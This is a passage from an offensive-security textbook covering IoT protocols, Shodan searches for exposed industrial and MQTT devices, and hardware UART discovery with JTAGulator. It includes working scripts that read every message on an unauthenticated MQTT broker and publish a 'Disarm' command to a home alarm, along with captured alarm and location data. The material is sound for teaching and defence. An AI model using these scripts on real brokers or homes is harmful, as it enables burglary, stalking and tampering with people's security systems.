divs/pin/oa-pin-povid.
PART IV
Hacking IoT
Chapter 19 Internet of Things to Be Hacked

Chapter 20 Dissecting Embedded Devices
Chapter 21 Exploiting Embedded Devices
Chapter 22 Software-Defined Radio
Internet of Things
to Be Hacked
CHAPTER
19
• Internet of Things (IoT)
• Shodan IoT search engine
• IoT worms: It was a matter of time
This chapter covers the topic of Internet-connected devices, called the Internet of Things
(IoT). The phrase “Internet of Things” was first coined in a 1999 presentation at MIT
by Kevin Ashton.1 In 2008, the number of connected devices surpassed the number of
humans on the planet at 8 billion,2 so the security of these devices is becoming increas-
ingly important. The pace at which IoT devices are connected is staggering. Cisco
expects the number of IoT devices to exceed 14 billion by 2023.3 Think about that for
a moment: that is almost two connected devices for each human on the planet by 2023.
With connected devices controlling an increasing amount of our lives and even acting
on our behalf, it is crucial to understand the security risks these devices impose on their
unsuspecting users, if misconfigured, poorly designed, or just connected to the Internet
with default credentials.
Internet of Things (IoT)

The Internet of Things may very well become the Internet of things to be hacked if we
are not careful.4 In fact, as we discuss in this chapter, we are already too late, and this
statement is well on its way to becoming a reality. What is really scary is that users often
trade convenience over security and are currently not as concerned about security as we
security professionals would prefer.5
393
394
Types of Connected Things
There are various types of connected things: some are of large form factors, such as
robotic machines in factories, and others are very small, such as implanted medical
devices. The smaller devices suffer from limitations that affect security, such as limited
memory, processing capacity, and power requirements. Power sources include batteries,
solar, radio frequency (RF), and networks.6 The scarcity of power, particularly in remote
small devices, is a direct threat to security controls such as encryption, which might be
deemed too expensive, power-wise, and therefore be left out of the design altogether.
The list of connected things is too long to provide here, but to get you thinking of the
various potential security issues, the following short list is provided:7
• Smart things Smart homes, appliances, offices, buildings, cities, grids, and so on
• Wearable items Devices for the monitoring of movement, such as fitness
and biomedical wearables (for example, smart devices with touch payment and
health-monitoring options)
• Transportation and logistics RFID toll sensors, tracking of shipments, and
cold chain validation for produce and medical fluids (such as blood and medicine)
• Automotive Manufacturing, sensors on cars, telemetry, and autonomous driving
• Manufacturing RFID supply chain tracking, robotic assembly, and part
authenticity
• Medical and healthcare Health tracking, monitoring, and delivery of drugs
• Aviation RFID part tracking (authenticity), UAV control, and package delivery
• Telecommunications Connecting smart devices with GSM, NFC, GPS,
and Bluetooth
• Independent living Telemedicine, emergency response, and geo-fencing
• Agriculture and breeding Livestock management, veterinarian health tracking,
food supply tracking and cold chaining, and crop rotation and soil sensors
• Energy industry Power generation, storage, delivery, management, and payment
Wireless Protocols
Most connected devices have some form of wireless communication. The wireless proto-
cols are described in the following sections.
Cellular
Cellular networks, including GSM, GPRS, 3G, 4G, and 5G, are used for long-range
communications.8 This form of communication is helpful when great distances exist
between nodes, such as connected buildings, automobiles, and smartphones. At the time
of this writing, this form of communication remains the most secure of the alternatives
and is difficult to attack directly, but it may be jammed.
Chapter 19: Internet of Things to Be Hacked
395
Wi-Fi
The venerable IEEE 802.11 protocol has been in place for decades and is well known
and understood. Of course, there are many security issues with Wi-Fi that are also well
known. This form of communication has become the de facto standard for mid-range
communications of connected devices.9
Zigbee
The IEEE 802.15.4 protocol is a popular standard for short-to-medium-range com-
munications, normally up to 10 meters and in some conditions up to 100 meters. The
protocol is very useful in applications with low power requirements. The protocol allows
for a mesh network, enabling intermediate nodes to relay messages to distant nodes.10
Zigbee operates in the 2.4 GHz range, which competes with Wi-Fi and Bluetooth.
Z-Wave
The Z-Wave protocol is also a popular standard used in the short-to-medium range, but
it also offers a longer range due to the lower frequency (908.42 MHz in the US). Due
to the separate frequency range, it does not compete with other common radios such as
Wi-Fi and Bluetooth and experiences less interference.
Bluetooth (LE)
PART IV
The ubiquitous Bluetooth protocol has undergone a facelift of late and has been reborn
as Bluetooth Low Energy (LE), emerging as a viable alternative.11 Although it is back-
ward compatible with Bluetooth, the protocol is considered “smart” due to its ability to
save power.12 As with Zigbee and Z-Wave, Bluetooth and Bluetooth LE cannot commu-
nicate directly with the Internet; they must be relayed through a gateway device, such as
a smartphone or smart bridge/controller.
6LoWPAN
The Internet Protocol version 6 (IPv6) over Low-power Wireless Personal Area Networks
(6LoWPAN) is emerging as a valuable method to deliver IPv6 packets over 802.15.4
(Zigbee) networks. Because it can ride over Zigbee and other forms of physical networks,
it competes with Zigbee, but some would say it completes Zigbee because it allows for
connection with other IP-connected devices.13
Communication Protocols
IoT has several communication protocols—far too many to list—but here are a few of
the commonly used ones:14
• Message Queuing Telemetry Transport (MQTT)

• Extensible Messaging and Presence Protocol (XMPP)
• Data Distribution Service for Real-Time Systems (DDS)
• Advanced Message Queuing Protocol (AMQP)
396
Security Concerns
The traditional view of confidentiality, integrity, and availability applies to security
devices, but often not in the same way. When it comes to traditional network devices,
a premium is normally placed on confidentiality, then integrity, and then availability.
However, when it comes to connected devices, the order is often reversed, with a pre-
mium being placed on availability, then integrity, and then confidentiality. This paradigm
is easy to understand when we consider an embedded medical device that is connected
via Bluetooth to the user’s phone and thereby the Internet. The primary concern is
availability, then integrity, and then confidentiality. Even though we are talking about
sensitive medical information, there is no need to be concerned with confidentiality if
the device can’t be reached or trusted.
There are, however, some additional security concerns:
• Vulnerabilities may be difficult, if not impossible, to patch.

• Small form factors have limited resources and power constraints, often preventing
security controls such as encryption.
• Lack of a user interface makes the device “out of sight, out of mind.” It’s often
online for years with little to no thought on the owner’s part.
• Protocols such as MQTT have limitations, including no encryption, often no
authentication, and cumbersome security configuration, as you will see later in
this chapter.
Shodan IoT Search Engine

The Shodan search engine is focused on Internet-connected devices15 and is slowly becom-
ing known as the Internet of Things (IoT). It is important to realize that this is not your
father’s Google. Shodan searches for banners, not web pages. In particular, Shodan scans
the Internet looking for banners it recognizes and then indexes that data. You can submit
your own banner fingerprints and IPs for scanning, but that requires a paid license.
397
Web Interface
If you want to lose an afternoon, or even weekend, simply go to https://images.shodan.io
(requires $49/year membership). Perhaps you will find a large toddler, napping, as shown
next. (That’s a joke; this is obviously a tired adult and their dog.)
PART IV
398
On a more serious note, with a little more searching, using the search string “authen-
tication disabled” and filtering on screenshot.label:ics, you’ll receive more interesting
results (notice the “Stop” buttons).
399
If you’re interested in industrial control systems (ICS) and are looking for devices
running some common ICS services, but not running other types of common services,
you can use the search string “port:502,102,20000,1911,4911,47808,448,18,18245,1
8246,5094,1962,5006,5007,9600,789,2455,2404,20547 country:US -ssh -http -html
-ident,” which yields the view shown in Figure 19-1.
From this view, we can tell there are 672,501 potential ICS hosts running the ICS ser-
vices but not HTTP, HTML, SSH, and IDENT (which are common services). Further,
we can tell the most common cities, top services, and top organizations hosting these ICS
services. Of course, we would need to do further filtering and rule out honeypots—but
more on that later.
PART IV
Figure 19-1 Common ICS Services
400
Shodan can be used to refine the search results and get stats with Facets, which allow
the user to drill down into more stats related to the search. For example, by clicking
“More…” under “Top Ports” on the left-hand pane shown in Figure 19-1, you will be
presented with the following view with a list of products and the count of each. Further
drilling can be done by changing the Facet in the drop-down.
Shodan Command-Line Interface

For those who prefer the command line, Shodan does not disappoint. It offers a powerful
command-line tool, with full functionality, as you will see in the upcoming lab.
NOTE The labs in this chapter were performed on Kali Linux 2021.1 (64 bit)
but should work on other versions of Linux. Also, an API key is required from
Shodan, which you can get for free by registering an account there.
Lab 19-1: Using the Shodan Command Line
In this lab, we will explore the Shodan command line. Current versions of Kali have the
Shodan CLI installed; simply initialize it with your API key as follows:
% shodan init <YOUR API KEY>
Successfully initialized
401
Next, test for credits available in your account:
% shodan info
Query credits available: 100
Scan credits available: 100
Finally, run a scan to find VNC services (RFB), showing IP, port, org, and hostnames:
% shodan search --fields ip_str,port,org,hostnames RFB > results.txt
% wc -l results.txt
101 results.txt
% head -3 results.txt
186.10.40.11 8334 ENTEL CHILE S.A. z210.entelchile.net
68.51.127.103 5901 Comcast Cable Communications, Inc. c-68-51-127-103.
hsd1.in.comcast.net
169.229.136.161 5900 University of California at Berkeley tol2mac5.soe.
berkeley.edu
One feature of the command-line tool is the ability to check the honeyscore—a score
that tests whether a site is a honeypot using heuristics developed by Shodan:
% shodan honeyscore 54.187.148.155
Not a honeypot
Score: 0.5
% shodan honeyscore 52.24.188.77
PART IV
Honeypot detected
Score: 1.0
Here is an example of using Facets like those used in Figure 19-1.

% shodan stats --facets city:3,product:3 "port:502,102,20000,1911,4911,47808
,448,18,18245,18246,5094,1962,5006,5007,9600,789,2455,2404,20547 country:US
-ssh -http -html -ident"
Top 3 Results for Facet: city
Kansas City 317,769
Redwood City 112,706
Mountain View 63,421
Top 3 Results for Facet: product

Niagara Fox 10,047
Niagara4 Station 1,391
Red Lion Controls 1,337
Shodan API
Others may prefer a Python interface to the Shodan data, and, of course, you can use
that too. The Shodan Python library comes with the Shodan command-line tools, but
the library may be installed separately, as well, using pip.
402
Lab 19-2: Testing the Shodan API
In this lab, we test out the Shodan API. You need an API key; a free one will do for this
test case because we are not using any filters. After installing the CLI, we will build a
Python script to search for MQTT services that include the word alarm in the banner
and are located in the US. This code and all code in this chapter can be found on the
book’s download site and GitHub repository.
❶% sudo apt install python3-venv
<truncated>
➋% python3 -m venv lab-19 && source ./lab-19/bin/activate
➌% pip install wheel
Collecting wheel
Using cached wheel-0.36.2-py2.py3-none-any.whl (35 kB)
Installing collected packages: wheel
Successfully installed wheel-0.36.2
➍% pip install shodan
Collecting shodan
Downloading shodan-1.25.0.tar.gz (51 kB)
|████████████████████████████████| 51 kB 389 kB/s <truncated>
In order to play with new Python libraries without corrupting the system Python
library, it can be helpful to install the Virtual Environment for Python ➊. Install a new
Virtual Environment and activate it ➋. In order to reduce complaints about wheel
not being installed when we’re installing modules, we install wheel ➌. At this point,
we can install any modules required for the lab without contaminating our system
environment—for example, the shodan module ➍.
% cat mqtt-search.py
import shodan
def shodan_search():
SHODAN_API_KEY = "YOUR API KEY"
SEARCH = "mqtt alarm country:US"
api = shodan.Shodan(SHODAN_API_KEY)
try:
results = api.search(SEARCH)
with open("mqtt-results.txt", "w") as f:
for result in results['matches']:
searching = result['ip_str']
f.write(searching + '\n')
except shodan.APIError as e:
pass
shodan_search()
Next, we run the MQTT search and observe the results:

% python mqtt-search.py
% head -3 mqtt-results.txt
104.248.4.175
209.33.212.31
198.199.109.124
403
Lab 19-3: Playing with MQTT
In the previous lab, the search string “mqtt alarm” was supplied to Shodan to identify
IP addresses running MQTT with an alarm listening. In this lab, we scan one of the
resulting IPs for additional information. The following code was adapted from an
example by Victor Pasknel.16
% pip install paho-mqtt
Collecting paho-mqtt
Using cached paho-mqtt-1.5.1.tar.gz (101 kB)
Building wheels for collected packages: paho-mqtt
Building wheel for paho-mqtt (setup.py) ... done
Created wheel for paho-mqtt: filename=paho_mqtt-1.5.1-py3-none-any.whl
size=61546 sha256=11308bd024a1b7d8ac47fba699d135d81854d2aba6283d9088ae4fe3f78
66ff7
Stored in directory: /home/kali/.cache/pip/wheels/22/b9/0f/9a1f64674f849b8a
e88620232f2023f0ff2a50a4479b8a32ed
Successfully built paho-mqtt
Installing collected packages: paho-mqtt
Successfully installed paho-mqtt-1.5.1
% cat mqtt-scan.py
import paho.mqtt.client as mqtt
PART IV
❶def on_connect(client, userdata, flags, rc):
print("[+] Connection successful")
client.subscribe('#', qos = 1) # Subscribes to all topics
➋def on_message(client, userdata, msg):

print('[+] Topic: %s - Message: %s' % (msg.topic, msg.payload))
➌client = mqtt.Client(client_id = "MqttClient")
➍client.on_connect = on_connect
➎client.on_message = on_message
➏client.connect('IP GOES HERE - MASKED', 1883, 30)
➐client.loop_forever()
This Python program is simple: after loading the mqtt.client library, the program
defines a callback for both the initial connection ➊ (print the connection message
and subscribe to all topics on the server) and when a message is received ➋ (print the
message). Next, the client is initialized ➌ and the callbacks are registered ➍ ➎. Finally,
the client is connected ➏ (be sure to change the masked IP on this line) and sent into
a loop ➐.
NOTE No authentication is involved here (unfortunately), so no kittens were

harmed in the filming of this movie!
Next, we run the MQTT scanner:

root@kali:~# python mqtt-scan.py
[+] Connection successful
[+] Topic: /garage/door/ - Message: On
404
[+] Topic: owntracks/CHANGED/bartsimpson - Message:
{"_type":"location","tid":"CHANGED","acc":5,"batt":100,"conn":"m","lat":-
47.CHANGED00,"lon":-31.CHANGED00,"tst":CHANGED,"_cp":true}
[+] Topic: home/alarm/select - Message: Disarm
[+] Topic: home/alarm/state - Message: disarmed
[+] Topic: owntracks/CHANGED/bartsimpson - Message:
{"_type":"location","tid":"CHANGED","acc":5,"batt":100,"conn":"m","lat":-
47.CHANGED01,"lon":-31.CHANGED01,"tst":MASKED,"_cp":true}
The output will be analyzed in the next section.
Implications of this Unauthenticated Access to MQTT

Much to our surprise, the output of the MQTT scanner shows the home not only has
alarm information (disarmed) but garage status as well. Also, through the magic of the
creepy OwnTracks app running on the user’s phone, we know the owner is not home and
is on the move, because every few seconds new LAT/LONG data is provided. That’s like
having a police scanner telling you how long until the owner is home. Wow, now that is
scary! As if that weren’t bad enough, some home automation systems allow for writing,
not just reading.17 Writing is done through the publish command, so instead of subscrib-
ing, you can publish. For example, we can issue a fake command to a fake system (really,
it does not exist; it is just an example).
NOTE Issuing commands and changing the configuration on a system

that does not belong to you might cross some legal lines and certainly
cross ethical lines—unless you are authorized to test the system. You have
been warned!
Here’s our fake system example (given for illustrative purposes only), again adapted
from the example given by Victor Pasknel:18
% cat mqtt-alarm.py
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):

print("[+] Connection success")
client.publish('home/alarm/set', "Disarm")
client = mqtt.Client(client_id = "MqttClient")

client.on_connect = on_connect
client.connect('IP GOES HERE', 1883, 30)
IoT Worms: It Was a Matter of Time

In late 2016, attackers became upset with Brian Krebs, an Internet journalist who docu-
mented several hacks, and knocked him offline using a massive distributed denial-of-
service (DDoS) attack.19 Now, DDoS attacks are not uncommon, but what was new was
the method of attack. For the first time in history, an army of vulnerable IoT devices,
405
namely cameras, were used in the attack. Further, DDoS attacks are normally reflective
types of attacks, whereby an attacker tries to amplify the attack by leveraging protocols
that require a simple command request and have a massive response. In this case, it was
not a reflective attack at all—just normal requests, coming from countless infected hosts,
that generated some 665 Gbps of traffic, nearly doubling the previous record.20 On the
sending end of the attack were Internet-connected cameras that were found by attackers
to have default passwords. The worm, dubbed Mirai, after a 2011 anime series, logs in
to Internet-based cameras using a table of more than 60 default passwords, commonly
known from different vendors. The worm was careful to avoid the United States Post
Office and Department of Defense IPs, but all others were fair game.21 The servers that
hosted Krebs’ website had no chance, and even their hosting service, Akamai, which
is known for protecting against DDoS attacks, dropped him after reportedly painful
deliberations.22 The Mirai worm hit others as well, becoming the most notorious worm
at that time and garnering much publicity and causing worldwide concern. Eventually,
copycats joined in and many Mirai variants sprung up.23 The number of infected hosts
nearly doubled to 493,000 after the source code was released.24
At the time of this writing, there have been more than 60 Mirai variants.25 No longer
are attackers only checking for default passwords; authors of the IoT Reaper worm are
wielding vulnerabilities that leave millions of online cameras vulnerable.26 One thing is
for sure: IoT devices cannot hide, as this chapter has shown. If they are connected to the
PART IV
Internet, they will be found.
Prevention
Now that you have seen the implications of open systems with no authentication on the
Internet, here is some practical advice: hack yourself! Seriously, Shodan has many free
searches, so why not take advantage of that service—before someone else does? Conduct
a search of your home IP address, using www.whatismyip.com or a similar service, as
well as the IP addresses of your family members, business, or anyone you know. Another
valuable resource you should know about is the Internet of Things Scanner by BullGuard
(see the “For Further Reading” section). It allows you to scan your home and see whether
or not you are in Shodan.
Summary
In this chapter, we discussed the increasing array of Internet-connected things that
comprise the IoT and discussed the network protocols they use. Next, we explored the
Shodan search engine, which specializes in finding IoT devices. Finally, we discussed
what was bound to happen: the advent of IoT worms. After reading this chapter, you
should be better prepared to identify, protect, and defend your things and those of your
friends, family, and clients.
406
For Further Reading
“Distinguishing Internet-Facing Devices Using PLC Programming Information”
www.hsdl.org/?abstract&did=757013
Internet of Things Scanner by BullGuard iotscanner.bullguard.com/
NIST Special Publication 800-82, Revision 2, “Guide to Industrial Control Systems
(ICS) Security” nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
“Quantitatively Assessing and Visualising Industrial System Attack Surfaces” www
.cl.cam.ac.uk/~fms27/papers/2011-Leverett-industrial.pdf
References
1. X. Xu, “Internet of Things in Service Innovation,” The Amfiteatru Economic Journal,
4(6, November 2012): 698–719.
2. M. Swan, “Sensor Mania! The Internet of Things, Wearable Computing, Objective
Metrics, and the Quantified Self 2.0,” Journal of Sensor and Actuator Networks,
1(3, November 8, 2012): 217–253.
3. Patrick Grossetete, “IoT and the Network: What is the future?,” Cisco, June 2020,
https://blogs.cisco.com/networking/iot-and-the-network-what-is-the-future
4. The Economist, “The Internet of Things (to Be Hacked),” July 12, 2014, https://
www.economist.com/news/leaders/21606829-hooking-up-gadgets-web-promises-
huge-benefits-security-must-not-be
5. Harper, “The Impact of Consumer Security Awareness on Adopting the Internet
of Things: A Correlational Study,” Dissertation, Capella University, 2016, https://
www.proquest.com/docview/1853097232/104B999B1316421EPQ/1
6. D. Bandyopadhyay, J. Sen, “Internet of Things: Applications and Challenges
in Technology and Standardization,” Wireless Personal Communications,
58(1, May 2011): 49–69.
of Things.”
8. Z. Chen, F. Xia, T. Huang, F. Bu, and H. Wang, “A Localization Method for the
Internet of Things,” The Journal of Supercomputing, 63(3, March 2013): 657–674.
9. H. Jayakumar, K. Lee, W. Lee, A. Raha, Y. Kim, and V. Raghunathan, “Powering
the Internet of Things,” in Proceedings of the 2014 International Symposium
on Low Power Electronics and Design, ACM, 2014, 375–380, http://doi.acm
.org/10.1145/2627369.2631644.
10. “Zigbee,” Wikipedia, 2017, https://en.wikipedia.org/w/index.php?title=Zigbee&
oldid=809655996.
407
of Things.”
12. H. Jayakumar, et al., “Powering the Internet of Things.”
13. J. Sarto, “Zigbee vs. 6LoWPAN for sensor networks,” LSR, https://www
.lairdconnect.com/resources/white-papers/zigbee-vs-6lowpan-for-sensor-networks.
14. S. Schneider, “Understanding the Protocols Behind the Internet of Things,”
Electronic Design, October 9, 2013, www.electronicdesign.com/iot/understanding-
protocols-behind-internet-things.
15. J. Matherly, Complete Guide to Shodan: Collect. Analyze. Visualize. Make Internet
Intelligence Work for You, Lean Publishing, 2017.
16. V. Pasknel, “Hacking the IoT with MQTT,” Morphus Labs, July 19, 2017,
https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b.
17. Pasknel, “Hacking the IoT with MQTT.”
18. Pasknel, “Hacking the IoT with MQTT.”
19. “Mirai (malware),” Wikipedia, 2017, https://en.wikipedia.org/w/index
.php?title=Mirai_(malware)&oldid=807940975.
20. S. M. Kerner, “DDoS Attacks Heading Toward 1-Terabit Record,” eWEEK,
PART IV
September 25, 2016, www.eweek.com/security/ddos-attacks-heading-toward-1-
terabit-record.
21. “Mirai (malware),” Wikipedia.
22. Kerner, “DDoS Attacks Heading Toward 1-Terabit Record.”
23. B. Krebs, “New Mirai Worm Knocks 900K Germans Offline,” Krebs on Security,
November 16, 2016, https://krebsonsecurity.com/2016/11/new-mirai-worm-
knocks-900k-germans-offline/.
24. M. Mimoso, “Mirai Bots More Than Double Since Source Code Release,”
October 19, 2016, https://threatpost.com/mirai-bots-more-than-double-since-
source-code-release/121368/.
25. Lindsey O’Donnell, “Latest Mirai Variant Targets SonicWall, D-Link and IoT
Devices” March 16, 2021, https://threatpost.com/mirai-variant-sonicwall-d-link-
iot/164811/
26. T. Fox-Brewster, “A Massive Number of IoT Cameras Are Hackable—And Now the
Next Web Crisis Looms,” Forbes, October 23, 2017, https://www.forbes.com/sites/
thomasbrewster/2017/10/23/reaper-botnet-hacking-iot-cctv-iot-cctv-cameras/.
Dissecting
Embedded Devices
CHAPTER
20
• CPU
• Serial interfaces
• Debug interfaces
• Software
This chapter provides a high-level view of embedded devices with the intention of pro-
viding a vocabulary for and high-level understanding of potential areas of concern.
Embedded devices are electrical or electro-mechanical devices that meet a specific
need or have a limited function. A few examples of embedded devices include security
systems, network routers/switches, cameras, garage door openers, smart thermostats,
controllable light bulbs, and mobile phones. As our devices gain remote connectivity for
our convenience, they also provide more opportunity for an attacker to enter our lives
through our networks.
Much of the discussion in this chapter revolves around integrated circuits (ICs). An
IC is a collection of electrical components within a small package, often referred to as a
chip. A simple example is the quad 2-input OR1 gate IC, where four 2-input OR circuits
are implemented inside a single chip. In our case, the ICs will be much more complex
and contain the entire multiple-computing elements inside a single IC. Also, note that
this chapter assumes you are familiar with a multimeter and the basic concepts of electri-
cal circuits, such as voltage, current, resistance, and ground.
CPU
Unlike the desktop systems that most people are familiar with, the embedded world uses
many different processing architectures based on embedded functionality, required com-
plexity of the system, price, power consumption, performance, and other considerations.
Because embedded systems generally have much more defined functionality, they tend to
lend themselves to more quantifiable performance requirements. As a result, a blend of
software and hardware requirements are used to determine the appropriate microproces-
sor, microcontroller, or system on chip (SoC).
409
410
Microprocessor
Microprocessors do not include memory or program storage internal to the chip. Micro-
processor-based designs can utilize a large amount of memory and storage and can run
sophisticated operating systems such as Linux. The common PC is an example of a
device utilizing a microprocessor-based design.
Microcontrollers
Common within the embedded world is the microcontroller. The microcontroller gener-
ally has a CPU core (or cores), memory, storage, and I/O ports, all within a single chip.
The microcontroller is well suited to highly embedded designs that perform simple or
well-defined lower-performance applications. Due to the simplicity of the applications
and hardware, the software on the microcontroller is typically written in a lower language
such as assembly or C and does not include an operating system (OS). Applications for
a microcontroller include an electronic door lock and a TV remote.
Depending on the specific microcontroller, protections may be implemented in hard-
ware to help secure the applications. Examples are read protections for the program
storage and disabling the on-chip debugging interface from becoming active. Although
these measures provide a layer of protection, there are no guarantees that the protections
cannot be bypassed.
System on Chip
The System on Chip (SoC) is one or more microprocessor cores or microcontrollers with
a wide variety of integrated hardware features within a single integrated circuit (IC). For
example, the SoC for a phone may contain a graphics processing unit (GPU), sound pro-
cessor, memory management unit (MMU), cellular, and network controller. The main
benefit of the SoC is reduced cost due to fewer chips and smaller-size applications, which
are typically used in a more custom fashion. Whereas a microcontroller stores the pro-
gram internally and provides limited memory, the SoC typically utilizes external storage
and memory.
Common Processor Architectures

Although there are many microcontroller architectures, such as Intel 8051, Freescale
(Motorola) 68HC11, and Microchip PIC, two architectures show up much more in
Internet-connected devices: ARM and MIPS. Knowing the processor architecture is
important when using tools such as disassemblers, build tools, and debuggers. Identifica-
tion of the processor architecture can typically be done by visually inspecting the board
and locating the processor.
ARM is a licensed architecture that is used by many microprocessor, microcon-
troller, and SoC manufacturers such as Texas Instruments, Apple, Samsung, and more.
The ARM cores are licensed in multiple profiles based on the intended applications.
ARM cores come in both 32- and 64-bit architectures and can be configured as either
big- or little-endian. Table 20-1 illustrates the profiles and applications that would
typically use them.
Chapter 20: Dissecting Embedded Devices
411
Profile Description Example Applications
Application The most powerful of the profiles. Its main Mobile phones
distinguishing feature is the MMU, which allows Tablets
it to run feature-rich operating systems such as Set-top boxes
Linux and Android.
Real-time Designed for applications that require real- Network routers and
time performance characteristics. Features low switches
interrupt latency and memory protection. It Cameras
does not contain an MMU. Cars
Microcontroller Designed for highly embedded systems with Industrial controls
lower size and performance requirements. Programmable lights
Features low interrupt latency, memory
protection, and embedded memory.
Table 20-1 ARM Profiles2
MIPS, last owned by Wave Computing, which recently came out of bankruptcy, is no
longer being developed in favor of RISC-V; however, license agreements signed prior to
restructuring appear to be valid.3 MIPS has been licensed to several manufacturers, such
as Broadcom, Cavium, and others. Like ARM, MIPS has 32- and 64-bit variants and can
PART IV
be run in either big- or little-endian mode. It is commonly found in networking devices
such as wireless access points and small home routers.
Serial Interfaces
A serial interface communicates with a peer one bit at a time, serially, over a communica-
tion channel. Being that only one bit is being transmitted at a time, fewer pins are required
on an IC. In contrast, parallel interface communications transmit multiple bits at a time
and require more pins (one pin per bit). Several serial protocols are used in embedded sys-
tems, but we will only discuss the Universal Asynchronous Receiver-Transmitter (UART),
Serial Peripheral Interface (SPI), and Inter-Integrated-Circuit (I2C) protocols.
UART
The Universal Asynchronous Receiver-Transmitter protocol allows two devices to com-
municate serially over a communications channel. UART is commonly used for connect-
ing to a console to allow a human to interact with the device. Although most devices will
not have an externally available interface for communicating serially, many will have an
internal interface that was used during device development and testing. While perform-
ing device testing, I have found both authenticated and unauthenticated consoles on
internally accessible serial interfaces.
UART requires three pins to communicate and usually comes in a gang of four pins
(see Figure 20-1). You may see labels on the board, but generally these pads or headers
are not labeled and need to be discovered. Although Figure 20-1 shows a nice example
where the headers stand out as candidates for serial communications, the layout of
the pins might not always be as straightforward and could be mingled within a larger
number of pins.
412
Figure 20-1
Unlabeled
gang of four
serial ports on a
Ubiquiti ER-X
The main reason for locating and connecting to the internal serial ports is to attempt
to locate information that was not intended to be accessible to the user of the system.
For example, the web interface does not generally yield access to the file system directly,
but the serial console on a Linux-based system will give the user access to the file system.
When the serial port is authenticated, you will have to brute-force the credentials or
attempt to bypass the authentication by altering the boot process (potentially by using a
JTAG debug port).
To discover the serial pads, a tool such as JTAGulator, developed by Joe Grand, can
be used to brute-force signals and yield the pad layout and baud rate. The following is
an example of running the UART identification test against the Ubiquiti ER-X shown
in Figure 20-1, where the labeled pins were identified using JTAGulator. Here are the
steps involved:
1. Locate the headers or pads you believe could be UART by inspecting the board.
(Seeing two to four pads/pins grouped together on the board is a good sign, but as
mentioned earlier, they can be intermingled within other functional pads/pins.)
2. Discover the target voltage by probing the board with a multimeter or identifying
an IC and looking up the datasheet.
3. Discover a ground that is easy to connect to by measuring resistance (ohms)
between a known ground (such as the chassis ground) and pins that are easy to
connect to (effectively 0 ohms between the known ground and the pin in question).
4. Connect the board to your JTAGulator if you are fortunate enough to find
headers, or solder a header to the board and then connect (see Figure 20-2).
413
Figure 20-2
Connection
between
JTAGulator and
Ubiquiti ER-X
PART IV
5. Verify the version of JTAGulator firmware ❶. The version can be checked against
the code on the repository at https://github.com/grandideastudio/jtagulator/
releases. If the version is not the latest, follow the directions at www.youtube.com/
watch?v=xlXwy-weG1M.
6. Enable UART mode ❷ and set the target voltage ❸.
7. Run the UART identification test ❹.
8. On success, look for reasonable responses such as carriage returns, line feeds, or
readable text ❺ (l-timers(q) sync).
9. Verify the identified settings by running in pass-thru mode ❻ with the baud rate
candidate ❼ (57600 in our case).
< … Omitted ASCII ART …>
Welcome to JTAGulator. Press 'H' for available commands.
Warning: Use of this tool may affect target system behavior!
> h
Target Interfaces:
J JTAG
U UART
G GPIO
S SWD
General Commands:
V Set target I/O voltage
I Display version information
H Display available commands
➊> i
JTAGulator FW 1.11
Designed by Joe Grand, Grand Idea Studio, Inc.
Main: jtagulator.com
414
Source: github.com/grandideastudio/jtagulator
Support: www.parallax.com/support
➋> u
➌UART> v
Current target I/O voltage: Undefined
Enter new target I/O voltage (1.2 - 3.3, 0 for off): 3.3
New target I/O voltage set: 3.3
Ensure VADJ is NOT connected to target!
➍UART> u
UART pin naming is from the target's perspective.
Enter text string to output (prefix with \x for hex) [CR]:
Enter starting channel [0]:
Enter ending channel [1]: 1
Are any pins already known? [y/N]: N
Possible permutations: 2
Enter text string to output (prefix with \x for hex) [CR]:
Enter delay before checking for target response (in ms, 0 - 1000) [10]: 0
Ignore non-printable characters? [y/N]: N
Bring channels LOW before each permutation? [y/N]: N
Press spacebar to begin (any other key to abort)...
JTAGulating! Press any key to abort...
TXD: 0
RXD: 1
Baud: 9600
Data: h.XZ...c)...H.oB [ 68 FC 58 5A E5 9E C9 63 29 DD 0A DC 48 84 6F 42 ]
TXD: 0
RXD: 1
Baud: 14400
Data: ..^V....{......c [ C3 10 5E 56 FA E7 0E DB 7B CB BA C3 1B EF 89 63 ]
TXD: 0
RXD: 1
Baud: 19200
Data: ...N.....9._#.(. [ E4 19 80 4E 19 95 1D D8 1F 39 80 5F 23 C6 28 94 ]
TXD: 0
RXD: 1
Baud: 28800
Data: .L..gg..N...1..Y [ 1D 4C 0C 13 67 67 AD B9 4E 0C 0C 9F 31 D6 BD 59 ]
TXD: 0
RXD: 1
Baud: 31250
Data: ..?C.$...~0..3.. [ B3 13 3F 43 BD 24 B3 13 E3 7E 30 03 BD 33 B4 C3 ]
TXD: 0
RXD: 1
Baud: 38400
Data: .K..y...)A#.C(.r [ DE 4B F5 CB 79 D0 0B C4 29 41 23 2E 43 28 C3 72 ]
TXD: 0
RXD: 1
Baud: 57600
➎Data: l-timers(q) sync [ 6C 2D 74 69 6D 65 72 73 28 71 29 20 73 79 6E 63 ]
TXD: 0
RXD: 1
Baud: 76800
Data: . [ 0C ]
--
UART scan complete.
415
➏UART> p
Note: UART pin naming is from the target's perspective.
Enter X to disable either pin, if desired.
Enter TXD pin [0]:
Enter RXD pin [1]:
➐Enter baud rate [0]: 57600
Enable local echo? [y/N]: y
Entering UART passthrough! Press Ctrl-X to exit...
Welcome to EdgeOS ubnt ttyS1
By logging in, accessing, or using the Ubiquiti product, you

acknowledge that you have read and understood the Ubiquiti
License Agreement (available in the Web UI at, by default,
http://192.168.1.1) and agree to be bound by its terms.
If the test is successful, you should be able to interact with the serial console now.
Resetting the device with the serial console connected is typically very revealing. The text
is too long to include here, so I’ve provide snippets from the boot messages:
• The processor is an MT-7621A (MIPS):

ASIC MT7621A DualCore (MAC to MT7530 Mode)
• It can be reprogrammed via U-Boot:

Please choose the operation:
PART IV
1: Load system code to SDRAM via TFTP.
2: Load system code then write to Flash via TFTP.
3: Boot system code via Flash (default).
4: Enter boot command line interface.
7: Load Boot Loader code then write to Flash via Serial.
9: Load Boot Loader code then write to Flash via TFTP.
default: 3
• It is running Linux version 3.10.14-UBNT:

Linux version 3.10.14-UBNT (root@edgeos-builder2) (gcc version 4.6.3 (Buildroot
2012.11.1) ) #1 SMP Mon Nov 2 16:45:25 PST 2015
• MTD partitions aid in understanding the storage layout:

Creating 7 MTD partitions on "MT7621-NAND":
0x000000000000-0x00000ff80000 : "ALL"
0x000000000000-0x000000080000 : "Bootloader"
